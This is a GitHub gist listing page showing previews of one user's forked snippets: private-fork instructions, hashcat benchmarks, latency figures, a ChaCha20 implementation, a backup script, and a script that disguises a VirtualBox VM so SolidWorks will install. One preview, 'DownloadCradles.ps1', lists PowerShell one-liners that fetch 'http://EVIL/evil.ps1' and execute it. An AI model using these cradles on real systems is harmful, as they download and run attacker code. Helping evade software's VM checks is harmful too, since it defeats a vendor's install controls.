Skip to content

Instantly share code, notes, and snippets.

@DaniloNC
DaniloNC / private_fork.md
Created September 13, 2023 16:41 — forked from 0xjac/private_fork.md
Create a private fork of a public repository

The repository for the assignment is public and Github does not allow the creation of private forks for public repositories.

The correct way of creating a private frok by duplicating the repo is documented here.

For this assignment the commands are:

  1. Create a bare clone of the repository. (This is temporary and will be removed so just do it wherever.)

git clone --bare [email protected]:usi-systems/easytrace.git

@DaniloNC
DaniloNC / SolidWorks_Spoof.sh
Created January 3, 2021 19:33 — forked from W-Floyd/SolidWorks_Spoof.sh
Simple script to make a Virtualbox VM hidden enough to install SolidWorks
#!/bin/bash
__get_random_string () {
openssl rand -hex "${1}" | cut -c "1-${1}"
}
__my_vm='W10'
@DaniloNC
DaniloNC / latency.txt
Created January 8, 2019 20:16 — forked from jboner/latency.txt
Latency Numbers Every Programmer Should Know
Latency Comparison Numbers (~2012)
----------------------------------
L1 cache reference 0.5 ns
Branch mispredict 5 ns
L2 cache reference 7 ns 14x L1 cache
Mutex lock/unlock 25 ns
Main memory reference 100 ns 20x L2 cache, 200x L1 cache
Compress 1K bytes with Zippy 3,000 ns 3 us
Send 1K bytes over 1 Gbps network 10,000 ns 10 us
Read 4K randomly from SSD* 150,000 ns 150 us ~1GB/sec SSD
@DaniloNC
DaniloNC / 2080ti-hashcat.txt
Created December 4, 2018 18:43 — forked from binary1985/2080ti-hashcat.txt
Gigabyte RTX 2080ti Hashcat Benchmarks
hashcat (v5.0.0) starting in benchmark mode...
* Device #1: WARNING! Kernel exec timeout is not disabled.
This may cause "CL_OUT_OF_RESOURCES" or related errors.
To disable the timeout, see: https://hashcat.net/q/timeoutpatch
OpenCL Platform #1: NVIDIA Corporation
======================================
* Device #1: GeForce RTX 2080 Ti, 2816/11264 MB allocatable, 68MCU
Benchmark relevant options:
@DaniloNC
DaniloNC / 2x 2080Ti Hashcat Benchmark
Created December 4, 2018 18:42 — forked from codeandsec/2x 2080Ti Hashcat Benchmark
2x 2080Ti Hashcat Benchmark
OS: Linux Mint
OC: None (stock)
NVIDIA-SMI 410.66 Driver Version: 410.66 CUDA Version: 10.0
hashcat (v4.2.0-11-g95b420df) starting in benchmark mode...
OpenCL Platform #1: NVIDIA Corporation
======================================
* Device #1: GeForce RTX 2080 Ti, 2746/10986 MB allocatable, 68MCU
* Device #2: GeForce RTX 2080 Ti, 2747/10989 MB allocatable, 68MCU
@DaniloNC
DaniloNC / 4xV100
Created October 19, 2018 18:38 — forked from Chick3nman/4xV100
Hashcat 4.1.0 Benchmarks on 4xV100
This benchmark was run on an Amazon EC2 p3.8xLarge instance with 4x Nvidia Tesla Volta V100 GPUs.
Nvidia Driver Version: 390.30
Hashcat Release: 4.1.0
hashcat (v4.1.0) starting in benchmark mode...
OpenCL Platform #1: NVIDIA Corporation
@DaniloNC
DaniloNC / DownloadCradles.ps1
Created October 1, 2018 15:51 — forked from HarmJ0y/DownloadCradles.ps1
Download Cradles
# normal download cradle
IEX (New-Object Net.Webclient).downloadstring("http://EVIL/evil.ps1")
# PowerShell 3.0+
IEX (iwr 'http://EVIL/evil.ps1')
# hidden IE com object
$ie=New-Object -comobject InternetExplorer.Application;$ie.visible=$False;$ie.navigate('http://EVIL/evil.ps1');start-sleep -s 5;$r=$ie.Document.body.innerHTML;$ie.quit();IEX $r
# Msxml2.XMLHTTP COM object
@DaniloNC
DaniloNC / chacha20
Created July 31, 2018 16:31
ChaCha20 stream cipher in Python 3
# Pure Python ChaCha20
# Based on Numpy implementation: https://gist.github.com/chiiph/6855750
# Based on http://cr.yp.to/chacha.html
#
# I wanted an implementation of ChaCha in clean, understandable Python
# as a way to get a handle on the algorithm for porting to another language.
# There are plenty of bindings but few pure implementations, because
# Pure Python is too slow for normal practical use in Cryptography.
#
# The preceding implementation used NumPy, which avoided a lot of the
@DaniloNC
DaniloNC / restic-windows-vss.ps1
Created April 11, 2018 16:22 — forked from rstanleyhum/restic-windows-vss.ps1
Restic Backup Windows Volume Shadow Copy Service script taken from https://github.com/restic/restic/issues/340
# Windows PowerShell Script to use restic to backup files using the Volume Shadow Copy Service, allowing
# that are in use to be backed up. The script must be run with elevated privileges.
# The Volume Shadow Copy Service must be enabled for the disk volume that contains the files to be backed up.
#
# Parameters
$resticExe = 'C:\Users\Username\go\bin\restic.exe'
$resticRepository = '\\SYNOLOGY212J\backups\restic-workstation'
$rootVolume = "C:\"
# List of folders to backup, separated by commas
$foldersToBackup = @(

Nvidia GTX 1080 Hashcat Benchmarks

Product: Sagitta Invictus (PN S2440X-GTX-1080)

Software: Hashcat 3.00-beta-116-g9a54829, Nvidia driver 367.18

Accelerator: 1x Nvidia GTX 1080 Founders Edition

Highlights